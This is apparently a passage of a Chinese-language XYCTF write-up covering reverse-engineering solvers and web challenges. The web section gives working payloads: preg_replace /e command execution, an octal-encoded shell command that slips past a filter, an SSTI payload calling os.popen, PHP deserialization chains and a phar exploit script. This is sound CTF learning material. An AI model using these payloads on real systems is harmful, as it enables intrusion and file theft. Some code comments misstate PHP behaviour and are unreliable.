  require("base64")
  obfuscated_output = to_base64(output)
  obfuscated_output = (string.reverse)(obfuscated_output)
  obfuscated_output = (string.gsub)(obfuscated_output, "g", "3")
  obfuscated_output = (string.gsub)(obfuscated_output, "H", "4")
  obfuscated_output = (string.gsub)(obfuscated_output, "W", "6")
  invalid_variable = obfuscated_output:rep(5)
  if obfuscated_output == "==AeuFEcwxGPuJ0PBNzbC16ctFnPB5DPzI0bwx6bu9GQ2F1XOR1U" then
    print("You get the flag.")
  else
    print("F**k!")
  end
end


4.14 ez_enc

有模 20 信息丢失,正在爆破:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <stdio.h>
#include <string.h>
#include <ctype.h>

int check(char c) {
    return (
               32 <= c && c < 127
           );
}

void dfs(int idx, int len, unsigned char str[], char key[]) {
    if (idx == -1) {
        if (
            !((str[0] == 'f' && str[1] == 'l' && str[2] == 'a' && str[3] == 'g')
              || (str[0] == 'X' && str[1] == 'Y' && str[2] == 'C' && str[3] == 'T' && str[4] == 'F'))
        )
            return;
            for (int i = 0; i < len; ++i)
                putchar(str[i]);
        putchar('\n');
        return;
    }
    str[idx] = (str[idx] ^ key[idx % 6]) - str[idx + 1];
    while (str[idx] < 127) str[idx] -= 20;
    str[idx] += 20;
    do {
        if (!check(str[idx]))
            continue;
        dfs(idx - 1, len, str, key);
    } while (/*str[idx] > 0 && */(str[idx] += 20) < 127);
}

int main() {
    unsigned char str[] = {
        39,  36,  23,  11,  80,   3, 200,  12,  31,  23,
        54,  85, 203,  45, 233,  50,  14,  17,  38,   2,
        12,   7, 252,  39,  61,  45, 237,  53,  89, 235,
        60,  62, 228, 125,   0,
    };
    char key[] = "IMouto";
    int len = strlen(str);
    dfs(len - 2, len, str, key);
    for (int i = 0; i < len; ++i)
        putchar((char)str[i]);
    return 0;
}

使用 python 爆破脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
ch = 'IMouto'
arr = [
  0x27, 0x24, 0x17, 0x0B, 0x50, 0x03, 0xC8, 0x0C, 0x1F, 0x17, 
  0x36, 0x55, 0xCB, 0x2D, 0xE9, 0x32, 0x0E, 0x11, 0x26, 0x02, 
  0x0C, 0x07, 0xFC, 0x27, 0x3D, 0x2D, 0xED, 0x35, 0x59, 0xEB, 
  0x3C, 0x3E, 0xE4, 0x7D
]
arr1 = [
  0x27, 0x24, 0x17, 0x0B, 0x50, 0x03, 0xC8, 0x0C, 0x1F, 0x17, 
  0x36, 0x55, 0xCB, 0x2D, 0xE9, 0x32, 0x0E, 0x11, 0x26, 0x02, 
  0x0C, 0x07, 0xFC, 0x27, 0x3D, 0x2D, 0xED, 0x35, 0x59, 0xEB, 
  0x3C, 0x3E, 0xE4, 0x7D
]
flag = ''

def jiami(arr):
    global flag  # 将 flag 声明为全局变量
    if (len(arr) == 1):
        flag1='f'
        for i in range(len(flag)):
            flag1+=flag[-1]
            flag=flag[0:-1]
        print(flag1)
        return


    for j in range(32, 127):
        if (arr[len(arr) - 2 ] == ord(ch[(len(arr) - 2) % 6]) ^ (arr[len(arr) - 1 ] + (j % 20))):
            arr[len(arr) - 2 ] = j
            flag += chr(arr[-1])
            jiami(arr[:-1])
            arr[len(arr) - 2 ]=arr1[len(arr) - 2 ]
            flag = flag[:-1]

jiami(arr)

flag{!r3ea11y_w4nt@_cu7e_s1$ter}



4.15 给阿姨倒一杯卡布奇诺

这是一个 TEA 变体外加一个 CBC 模式,data1 和 data2 是初始向量 IV.

解法 1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from <u>ctypes</u> import * 
_def_ encrypt(_v_,_k_):
    v0=<u>c_uint32</u>(_v_[0])
    v1=<u>c_uint32</u>(_v_[1])
    sum1=<u>c_uint32</u>(0)
    delta=_0x_61C88647
    for i in <u>range</u>(32):
        sum1.value-=delta
        v0.value+=((v1.value<<4)+_k_[0])^(v1.value+sum1.value)^((v1.value>>5)+_k_[1])
        v1.value+=((v0.value<<4)+_k_[2])^(v0.value+sum1.value)^((v0.value>>5)+_k_[3])
    return v0.value,v1.value
 
_def_ decrypt(_v_,_k_):
    v0=<u>c_uint32</u>(_v_[0])
    v1=<u>c_uint32</u>(_v_[1])
    delta=_0x_6E75316C
    sum1=<u>c_uint32</u>(delta*32)
    print(hex(sum1.value))
    for i in <u>range</u>(32):
        v1.value-=((v0.value<<4)+_k_[2])^(v0.value+sum1.value)^((v0.value>>5)+_k_[3])^(sum1.value+(31-i))
        v0.value-=((v1.value<<4)+_k_[0])^(v1.value+sum1.value)^((v1.value>>5)+_k_[1])^(sum1.value+(31-i))
        sum1.value-=delta
    v0.value^=_0x_5F797274 #这部分看要求替换
    v1.value^=_0x_64726168 #这部分看要求替换
    return v0.value,v1.value
 
if __name__=='__main__':
    a=[_0x_9B28ED45,_0x_145EC6E9]
    k=[_0x_65766967,_0x_756F795F,_0x_7075635F,_0x_6165745F ]
    #print("加密前数据:",a)
    #res=encrypt(a,k)
    #print("加密后的数据:",res)
    res=decrypt(a,k)
    print("解密后数据:",res)
    
    
    
arr3=[1647522609, 879060582,845426992, 811676466,892875570, 1664104804,1664181813, 926364513]
for i in <u>range</u>(8):
    for k in <u>range</u>(4):
        print(chr(arr3[i]>>(k*8)&_0x_ff),_end_='')

解法 2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#include <stdio.h>
#include <stdint.h>
#include <string.h>

#define default_delta 0x9e3779b9

uint32_t data1, data2;

void TEA_decrypt_e(uint32_t *v, uint32_t *k) {
    uint32_t v0 = v[0], v1 = v[1];
    uint32_t delta = 0x6E75316C;
    uint32_t sum = delta * 32;
    uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];

    for (int i = 0; i < 32; i++) {
        v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3) ^ (sum + 31-i);
        v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1) ^ (sum + 31-i);
        sum -= delta;
    }

    v0 ^= data1;
    v1 ^= data2;

    v[0] = v0;
    v[1] = v1;
}

// test
int main() {
    int32_t en[8];
    en[0] = -1691816635;
    en[1] = 341755625;
    en[2] = 1529325251;
    en[3] = -442599979;
    en[4] = -399760128;
    en[5] = -1541333614;
    en[6] = -846574750;
    en[7] = -1503071168;
    uint32_t *enc = (uint32_t *)en;

    // 四个32位无符号整数,即128bit的key
    uint32_t key[4];
    key[0] = 1702259047;
    key[1] = 1970239839;
    key[2] = 1886741343;
    key[3] = 1634038879;

    // uint32_t *ptr = (uint32_t *)enc_data;
    // int len = (strlen((char *)enc_data) / 4) + 1;

    int len = 8;

    for (int i = len - 2; i >= 0; i -= 2) {
        if (i >= 2) {
            data1 = enc[i - 2];
            data2 = enc[i - 1];
        } else {
            data1 = 0x5F797274;
            data2 = 0x64726168;
        }
        TEA_decrypt_e(&enc[i], key);
    }
    for (int i = 0; i < len; i += 2) {
        printf("%x ", enc[i]);
        printf("%x ", enc[i + 1]);
    }
    putchar('\n');
    puts((char*)enc);
    return 0;
}

4.16 ezmath

1
2
3
4
flag = [ord(i) for i in input('flag:')]
if len(flag) == 32:
    if sum([flag[23] for _ in <u>range</u>(flag[23])]) + sum([flag[12] for _ in <u>range</u>(flag[12])]) + sum([flag[1] for _ in <u>range</u>(flag[1])]) - sum([flag[24] for _ in <u>range</u>(222)]) + sum([flag[22] for _ in <u>range</u>(flag[22])]) + sum([flag[31] for _ in <u>range</u>(flag[31])]) + sum([flag[26] for _ in <u>range</u>(flag[26])]) - sum([flag[9] for _ in <u>range</u>(178)]) - sum([flag[29] for _ in <u>range</u>(232)]) + sum([flag[17] for _ in <u>range</u>(flag[17])]) - sum([flag[23] for _ in <u>range</u>(150)]) - sum([flag[6] for _ in <u>range</u>(226)]) - sum([flag[7] for _ in <u>range</u>(110)]) + sum([flag[19] for _ in <u>range</u>(flag[19])]) + sum([flag[2] for _ in <u>range</u>(flag[2])]) - sum([flag[0] for _ in <u>range</u>(176)]) + sum([flag[10] for _ in <u>range</u>(flag[10])]) - sum([flag[12] for _ in <u>range</u>(198)]) + sum([flag[24] for _ in <u>range</u>(flag[24])]) + sum([flag[9] for _ in <u>range</u>(flag[9])]) - sum([flag[3] for _ in <u>range</u>(168)]) + sum([flag[8] for _ in <u>range</u>(flag[8])]) - sum([flag[2] for _ in <u>range</u>(134)]) + sum([flag[14] for _ in <u>range</u>(flag[14])]) - sum([flag[13] for _ in <u>range</u>(170)]) + sum([flag[4] for _ in <u>range</u>(flag[4])]) - sum([flag[10] for _ in <u>range</u>(142)]) + sum([flag[27] for _ in <u>range</u>(flag[27])]) + sum([flag[15] for _ in <u>range</u>(flag[15])]) - sum([flag[15] for _ in <u>range</u>(224)]) + sum([flag[16] for _ in <u>range</u>(flag[16])]) - sum([flag[11] for _ in <u>range</u>(230)]) - sum([flag[1] for _ in <u>range</u>(178)]) + sum([flag[28] for _ in <u>range</u>(flag[28])]) - sum([flag[5] for _ in <u>range</u>(246)]) - sum([flag[17] for _ in <u>range</u>(168)]) + sum([flag[30] for _ in <u>range</u>(flag[30])]) - sum([flag[21] for _ in <u>range</u>(220)]) - sum([flag[22] for _ in <u>range</u>(212)]) - sum([flag[16] for _ in <u>range</u>(232)]) + sum([flag[25] for _ in <u>range</u>(flag[25])]) - sum([flag[4] for _ in <u>range</u>(140)]) - sum([flag[31] for _ in <u>range</u>(250)]) - sum([flag[28] for _ in <u>range</u>(150)]) + sum([flag[11] for _ in <u>range</u>(flag[11])]) + sum([flag[13] for _ in <u>range</u>(flag[13])]) - sum([flag[14] for _ in <u>range</u>(234)]) + sum([flag[7] for _ in <u>range</u>(flag[7])]) - sum([flag[8] for _ in <u>range</u>(174)]) + sum([flag[3] for _ in <u>range</u>(flag[3])]) - sum([flag[25] for _ in <u>range</u>(242)]) + sum([flag[29] for _ in <u>range</u>(flag[29])]) + sum([flag[5] for _ in <u>range</u>(flag[5])]) - sum([flag[30] for _ in <u>range</u>(142)]) - sum([flag[26] for _ in <u>range</u>(170)]) - sum([flag[19] for _ in <u>range</u>(176)]) + sum([flag[0] for _ in <u>range</u>(flag[0])]) - sum([flag[27] for _ in <u>range</u>(168)]) + sum([flag[20] for _ in <u>range</u>(flag[20])]) - sum([flag[20] for _ in <u>range</u>(212)]) + sum([flag[21] for _ in <u>range</u>(flag[21])]) + sum([flag[6] for _ in <u>range</u>(flag[6])]) + sum([flag[18] for _ in <u>range</u>(flag[18])]) - sum([flag[18] for _ in <u>range</u>(178)]) + 297412 == 0:
        print('yes')

上面是反编译完成的 python 代码

处理后的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
flag = [ord(i) for i in input('flag:')]
if len(flag) == 32:
    if flag[23] * flag[23] + flag[12] * flag[12] + flag[1] * flag[1] - flag[24] * 222 + flag[22] * flag[22] + flag[31] * \
            flag[31] + flag[26] * flag[26] - flag[9] * 178 - flag[29] * 232 + flag[17] * flag[17] - flag[23] * 150 - \
            flag[6] * 226 - flag[7] * 110 + flag[19] * flag[19] + flag[2] * flag[2] - flag[0] * 176 + flag[10] * flag[
        10] - flag[12] * 198 + flag[24] * flag[24] + flag[9] * flag[9] - flag[3] * 168 + flag[8] * flag[8] - flag[
        2] * 134 + flag[14] * flag[14] - flag[13] * 170 + flag[4] * flag[4] - flag[10] * 142 + flag[27] * flag[27] + \
            flag[15] * flag[15] - flag[15] * 224 + flag[16] * flag[16] - flag[11] * 230 - flag[1] * 178 + flag[28] * \
            flag[28] - flag[5] * 246 - flag[17] * 168 + flag[30] * flag[30] - flag[21] * 220 - flag[22] * 212 - flag[
        16] * 232 + flag[25] * flag[25] - flag[4] * 140 - flag[31] * 250 - flag[28] * 150 + flag[11] * flag[11] + flag[
        13] * flag[13] - flag[14] * 234 + flag[7] * flag[7] - flag[8] * 174 + flag[3] * flag[3] - flag[25] * 242 + flag[
        29] * flag[29] + flag[5] * flag[5] - flag[30] * 142 - flag[26] * 170 - flag[19] * 176 + flag[0] * flag[0] - \
            flag[27] * 168 + flag[20] * flag[20] - flag[20] * 212 + flag[21] * flag[21] + flag[6] * flag[6] + flag[18] * \
            flag[18] - flag[18] * 178 + 297412 == 0:
        print('yes')  # okay decompiling /tmp/661ccf4854f0a.pyc

然后写 z3 代码解密即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from <u>z3</u> import *

# 创建一个Z3求解器
solver = <u>Solver</u>()

# 创建变量
x = [BitVec(_f_'x{i}', 32) for i in <u>range</u>(32)]

# 添加方程到求解器中
solver.add(x[23] * x[23] + x[12] * x[12] + x[1] * x[1] - x[24] * 222 + x[22] * x[22] + x[31] * x[31] + x[26] * x[26]
           - x[9] * 178 - x[29] * 232 + x[17] * x[17] - x[23] * 150 - x[6] * 226 - x[7] * 110 + x[19] * x[19]
           + x[2] * x[2] - x[0] * 176 + x[10] * x[10] - x[12] * 198 + x[24] * x[24] + x[9] * x[9] - x[3] * 168
           + x[8] * x[8] - x[2] * 134 + x[14] * x[14] - x[13] * 170 + x[4] * x[4] - x[10] * 142 + x[27] * x[27]
           + x[15] * x[15] - x[15] * 224 + x[16] * x[16] - x[11] * 230 - x[1] * 178 + x[28] * x[28] - x[5] * 246
           - x[17] * 168 + x[30] * x[30] - x[21] * 220 - x[22] * 212 - x[16] * 232 + x[25] * x[25] - x[4] * 140
           - x[31] * 250 - x[28] * 150 + x[11] * x[11] + x[13] * x[13] - x[14] * 234 + x[7] * x[7] - x[8] * 174
           + x[3] * x[3] - x[25] * 242 + x[29] * x[29] + x[5] * x[5] - x[30] * 142 - x[26] * 170 - x[19] * 176
           + x[0] * x[0] - x[27] * 168 + x[20] * x[20] - x[20] * 212 + x[21] * x[21] + x[6] * x[6] + x[18] * x[18]
           - x[18] * 178 + 297412 == 0)

# 添加更多方程,总共添加31个方程

# 使用求解策略
set_param("smt.arith.solver", "nlsat")
set_param("smt.arith.nl.rounds", 2)

# 限制变量范围
for i in <u>range</u>(32):
    solver.add(And(x[i] >= 30, x[i] <= 130))  # 根据实际情况调整范围

# 求解方程组
if solver.check() == sat:
    model = solver.model()
    for i in <u>range</u>(32):
        print(_f_'x{i} = {model[x[i]]}')
else:
    print("方程组无解")
1
2
3
4
5
6
7
x = [88, 89, 67, 84, 70, 123, 113, 55, 87, 89, 71, 115, 99, 85, 117, 112, 116, 84, 89, 88, 106, 110, 106, 75, 111, 121, 85, 84, 75, 116, 71, 125]

flag = ''
for i in <u>range</u>(32):
    flag += chr(x[i])

print(flag)

4.17 easy language

逻辑是 base64 变表和 AESECB 加密

用下面的数据解出来是真 flag


4.18 馒头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
arr=[0]*25
arr[20]=51
arr[15]=55
arr[17]=111
arr[16]=114
arr[11]=115
arr[14]=116
arr[13]=117
arr[12]=118
arr[7]=120
arr[6]=123
arr[24]=125
arr[3]=67
arr[5]=70
arr[4]=84
arr[1]=88
arr[2]=89
arr[8]=97
arr[23]=48
arr[10]=49
arr[21]=100
arr[22]=101
arr[9]=102
arr[19]=104
arr[18]=106
flag=''
for i in <u>range</u>(24):
    flag+=chr(arr[i+1])
print(flag)

5. Web

5.1 ezmd5

利用 fastcoll 生成两个 md5 值相同的图片即可


5.2 EZHTTP

robots.txt 可以看到有个 l0g1n.txt,里面存着账号和密码

username: XYCTF

password: @JOILha!wuigqi123$

登进去之后说要从 yuanshen.com 来,伪造 IP

用 client-ip 可以伪造

现在需要伪造代理

我忘了咋伪造了……

噢用 via 可以

没了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /index.php HTTP/1.1
Host: xyctf.top:38102
User-Agent: XYCTF
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
Origin: http://xyctf.top:38102
Connection: close
Referer: yuanshen.com
Client-ip: 127.0.0.1
Via: ymzx.qq.com
Cookie: XYCTF
Upgrade-Insecure-Requests: 1

username=XYCTF&password=%40JOILha%21wuigqi123%24

5.3 Warm up

Payload:http://xyctf.top/?val1=QNKCDZO&val2=240610708&md5=0e215962017&XY=QNKCDZO&XYCTF=QNKCDZO

之后跳转到/LLeeevvveeelll222.php

好像可以 xss,但我不会弹 flag 啊 o(╥﹏╥)o

好吧,这题不是 xss,使用 preg_match 的/e 命令执行

1
2
Payloadhttp://xyctf.top:40339/LLeeevvveeelll222.php?a=/123/e&b=system('cat /flag');&c=123
posta[]=e


5.4 牢牢记住,逝者为大

payload:?cmd=%0A $_GET[1];%23&1=sh -c $’\143\141\164\40\57\146\154\141\147\40\76\40\61\56\160\150\160’

%0A 换行,%23 注释掉后面的 mamba out,`` 执行命令但不回显,$_GET[1]用于绕过长度限制,1 参数后的命令执行通过八进制绕过/bin mv cp ls | f a l \? * >/i 的过滤,接着直接访问 1.php 得到 flag

5.5 ezMake

用不了反斜杠/,发现缺失了 PATH,于是修改 PATH,到/bin,然后再执行命令

cmd=cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd bin&&PATH=pwd&&cd ..&&cd var&&cd www&&cd html&&cat flag

(其实这题也能像 εZ?¿м@Kε¿?题一样直接 \((<$<),或者\)

(<flag))


5.6 ez?Make


5.7 ezPoP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class   Flag {
    public $token;
    public $password;
}

$flag = new Flag();

$flag->password = &$flag->token;

$serialize = serialize($flag);

echo $serialize;

//O:4:"Flag":2:{s:5:"token";N;s:8:"password";R:2;}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
class A {
    public $mack;
}

class B {
    public $luo;
}

class C {
    public $wang1;
}


class D {
    public $lao;
    public $chen;
}

class E {
    public $name;
    public $num;
}

$c = new C();
$a = new A();
$a->mack = $c;
$b = new B();
$b->luo = $a;
$d = new D();
$d->lao = $b;
$e = new E();
$e->num=$d;
$serialize = serialize($e);
echo $serialize;

//pop=O:1:"E":2:{s:4:"name";N;s:3:"num";O:1:"D":2:{s:3:"lao";O:1:"B":1:{s:3:"luo";O:1:"A":1:{s:4:"mack";O:1:"C":1:{s:5:"wang1";N;}}}s:4:"chen";N;}}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class XYCTFNO1
{
    public $Liu;
    public $T1ng;
    private $upsw1ng;
}

class XYCTFNO2
{
    public $crypto0;
    public $adwa;
}

class XYCTFNO3
{
    public $KickyMu;
    public $fpclose;
    public $N1ght = "Crypto0";
}

$XYCTFNO1 = new XYCTFNO1();
$XYCTFNO1->T1ng = "yuroandCMD258";
$XYCTFNO1->crypto0 = "dev1l";
$XYCTFNO2 = new XYCTFNO2();
$XYCTFNO2->adwa = $XYCTFNO1;
$XYCTFNO3 = new XYCTFNO3();
$XYCTFNO3->N1ght = "oSthing";
$XYCTFNO3->KickyMu = $XYCTFNO2;

$serialize = urlencode(serialize($XYCTFNO3));
echo $serialize;

//O%3A8%3A%22XYCTFNO3%22%3A3%3A%7Bs%3A7%3A%22KickyMu%22%3BO%3A8%3A%22XYCTFNO2%22%3A2%3A%7Bs%3A7%3A%22crypto0%22%3BN%3Bs%3A4%3A%22adwa%22%3BO%3A8%3A%22XYCTFNO1%22%3A4%3A%7Bs%3A3%3A%22Liu%22%3BN%3Bs%3A4%3A%22T1ng%22%3Bs%3A13%3A%22yuroandCMD258%22%3Bs%3A17%3A%22%00XYCTFNO1%00upsw1ng%22%3BN%3Bs%3A7%3A%22crypto0%22%3Bs%3A5%3A%22dev1l%22%3B%7D%7Ds%3A7%3A%22fpclose%22%3BN%3Bs%3A5%3A%22N1ght%22%3Bs%3A7%3A%22oSthing%22%3B%7D


5.8 我是一个复读机

开局弱口令爆破,密码是 asdqwe

然后可以看到第二级页面

尝试输入发现大括号被过滤了

其实不是大括号被过滤,输入框默认已经被大括号扩住了,确定是 ssti

用 fenjing 一把梭

payload 如下

1
%print (g.pop|attr(lipsum|escape|batch(22)|list|first|last*2+dict(GLOBALS=x)|first|lower+lipsum|escape|batch(22)|list|first|last*2)|attr(lipsum|escape|batch(22)|list|first|last*2+dict(GETITEM=x)|first|lower+lipsum|escape|batch(22)|list|first|last*2)(lipsum|escape|batch(22)|list|first|last*2+dict(BUILTINS=x)|first|lower+lipsum|escape|batch(22)|list|first|last*2)|attr(lipsum|escape|batch(22)|list|first|last*2+dict(GETITEM=x)|first|lower+lipsum|escape|batch(22)|list|first|last*2)(lipsum|escape|batch(22)|list|first|last*2+dict(IMPORT=x)|first|lower+lipsum|escape|batch(22)|list|first|last*2))(dict(OS=x)|first|lower).popen((((dict(((0,1),(0,1)))|replace(1|center|first,x)|replace(1,dict(c=x)|join)).format(37)+dict(c=x)|join)*9)%(99,97,116,32,47,102,108,97,103)).read()%

5.9 ezRCE

https://medium.com/@orik_/34c3-ctf-minbashmaxfun-writeup-4470b596df60


5.10 ezSerialize

/?pop=O:4:”Flag”:2:{s:5:”token”;s:3:”111”;s:8:”password”;R:2;}

跳转/fpclosefpclosefpcloseffflllaaaggg.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php
highlight_file(___FILE___);
class A {
    public $mack;
    public function __invoke()//调用不可访问的方法时,__invoke() 方法会被调用。
    {
        $this->mack->nonExistentMethod();//这里会调用__call()方法
    }
}

class B {
    public $luo;
    public function __get($key){//当调用不可访问的属性时,__get() 会被调用。
        echo "o.O<br>";
        $function = $this->luo;
        return $function();//这里会调用__invoke()方法
    }
}

class C {
    public $wang1;

    public function __call($wang1,$wang2)//当调用不可访问的方法时,__call() 会被调用。
    {
        include 'flag.php';
        echo "flag2";//这里就是最终的flag
    }
}


class D {
    public $lao;
    public $chen;
    public function __toString(){//当一个类被当成字符串时,__toString() 方法会被调用。
        echo "O.o<br>";
        return is_null($this->lao->chen) ? "" : $this->lao->chen;//这里会调用__get()方法
    }
}

class E {
    public $name = "xxxxx";
    public $num;

    public function __unserialize($data)//当调用未定义的序列化方法时,__unserialize() 会被调用。
    {
        echo "<br>学到就是赚到!<br>";
        echo $data['num'];//这里会调用__wakeup()方法和__toString()方法
    }
    public function __wakeup(){//当对象被反序列化时,会调用 __wakeup() 方法。
        if($this->name!='' || $this->num!=''){
            echo "旅行者别忘记旅行的意义!<br>";
        }
    }
}

if (isset($_POST['pop'])) {
    unserialize($_POST['pop']);
}

//E-->D-->B-->A-->C
$a=new E();
$b=new D();
$c=new B();
$d=new A();
$e=new C();
$a->num=$b;
$a->name=$b;
$b->lao=$c;
$b->chen=null;
$c->luo=$d;
$d->mack=$e;
echo serialize($a);
//unserialize('O:1:"E":2:{s:4:"name";s:5:"xxxxx";s:3:"num";O:1:"D":2:{s:3:"lao";O:1:"B":1:{s:3:"luo";O:1:"A":1:{s:4:"mack";O:1:"C":1:{s:5:"wang1";N;}}}s:4:"chen";N;}}');

不知道为什么本地 ide 可以实现反序列化但是在部署在网站后__unserialize 魔术方法就无法被触发,网上也查不到,晕……

老缠,我直接把 name 也改了,在 wakeup 里触发 tostring 吧

跳转到/saber_master_saber_master.php

月批的丑态……

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
<?php

//error_reporting(0);
highlight_file(___FILE___);
define('Showmaker', 'unknown');
// flag.php
class XYCTFNO1
{
    public $Liu;
    public $T1ng;
    private $upsw1ng;

    public function __construct($Liu, $T1ng, $upsw1ng = _Showmaker_)//__construct() 方法用于初始化对象的属性,在对象被创建时自动调用
    {
        $this->Liu = $Liu;
        $this->T1ng = $T1ng;
        $this->upsw1ng = $upsw1ng;
    }
}

class XYCTFNO2
{
    public $crypto0;
    public $adwa;

    public function __construct($crypto0, $adwa)
    {
        $this->crypto0 = $crypto0;
    }

    public function XYCTF()
    {
        if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {
            return False;
        } else {
            return True;
        }
    }
}

class XYCTFNO3
{
    public $KickyMu;
    public $fpclose;
    public $N1ght = "Crypto0";

    public function __construct($KickyMu, $fpclose)
    {
        $this->KickyMu = $KickyMu;
        $this->fpclose = $fpclose;
    }

    public function XY()
    {
        if ($this->N1ght == 'oSthing') {
            echo "WOW, You web is really good!!!\n";
            echo new $_POST['X']($_POST['Y']);
        }
    }

    public function __wakeup()
    {
        if ($this->KickyMu->XYCTF()) {
            $this->XY();
        }
    }
}


if (isset($_GET['CTF'])) {
    unserialize($_GET['CTF']);
}

////03-->02-->01
$XYCTF01=new XYCTFNO1('dev1l', 'yuroandCMD258');
$XYCTF01->crypto0="dev1l";

$XYCTF02=new XYCTFNO2($XYCTF01,"adwa");
$XYCTF02->adwa=$XYCTF01;
$a=new XYCTFNO3($XYCTF02, "useless");
$a->N1ght="oSthing";
echo serialize($a);
unserialize(serialize($a));

payload 如下:?CTF=O:8:”XYCTFNO3”:3:{s:7:”KickyMu”;O:8:”XYCTFNO2”:2:{s:7:”crypto0”;O:8:”XYCTFNO1”:4:{s:3:”Liu”;s:5:”dev1l”;s:4:”T1ng”;s:13:”yuroandCMD258”;s:17:” XYCTFNO1 upsw1ng”;s:7:”unknown”;s:7:”crypto0”;s:5:”dev1l”;}s:4:”adwa”;r:3;}s:7:”fpclose”;s:7:”useless”;s:5:”N1ght”;s:7:”oSthing”;}

X=SplFileObject&Y=php://filter/read=convert.base64-encode/resource=/flag.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/bin/sh

# Get the user
user=$(ls /home)

# Check the environment variables for the flag and assign to INSERT_FLAG
if [ "$DASFLAG" ]; then
    INSERT_FLAG="$DASFLAG"
    export DASFLAG=no_FLAG
    DASFLAG=no_FLAG
elif [ "$FLAG" ]; then
    INSERT_FLAG="$FLAG"
    export FLAG=no_FLAG
    FLAG=no_FLAG
elif [ "$GZCTF_FLAG" ]; then
    INSERT_FLAG="$GZCTF_FLAG"
    export GZCTF_FLAG=no_FLAG
    GZCTF_FLAG=no_FLAG
else
    INSERT_FLAG="flag{TEST_Dynamic_FLAG}"
fi

# 将FLA

这玩意好像是生成 flag 的脚本……

其实应该爬 flag.php 的


5.11 pharme

老缠题目

查看源码可以发现 class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php 
error_reporting(0); 
highlight_file(__FILE__); 
class evil{ 
    public $cmd; 
    public $a; 
    public function __destruct(){ 
        if('ch3nx1' === preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){ 
            eval($this->cmd.'isbigvegetablechicken!'); 
        } else { 
            echo 'nonono'; 
        } 
    } 
} 

if(isset($_POST['file'])) 
{ 
    if(preg_match('/^phar:\/\//i',$_POST['file'])) 
    { 
        die("nonono"); 
    } 
    file_get_contents($_POST['file']); 
}

思路就是上传一个 phar 文件,然后存在敏感函数 file_get_contents,对其用 phar 伪协议解压时可以触发反序列化。

生成 phar 文件的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class evil{
    public $cmd;
    public $a;
    public function __destruct(){
        if('ch3nx1' === preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){
            eval($this->cmd.'isbigvegetablechicken!');
        } else {
            echo (preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd)));
            echo "\n".'nonono';
        }
    }
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new evil();
$o->cmd = 'highlight_file(array_rand(array_flip(scandir(getcwd()))));__HALT_COMPILER();';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

但是题目有几层 waf

  1. 题目过滤了.gz,.phar 之类的后缀
  2. 题目过滤了文件中的__HALT_COMPILER();,这是 phar 文件的识别标志
  3. POST 传入 file 时过滤了开头为 phar 的字符串
  4. evil 类过滤了 cmd 参数,要求传入无参数命令执行,且被拼接了脏数据

依次可以采取以下步骤绕过:

  1. 更改后缀为.gif,因为 phar 文件识别只看文件中的__HALT_COMPILER();标志而不看后缀,改后缀即可上传
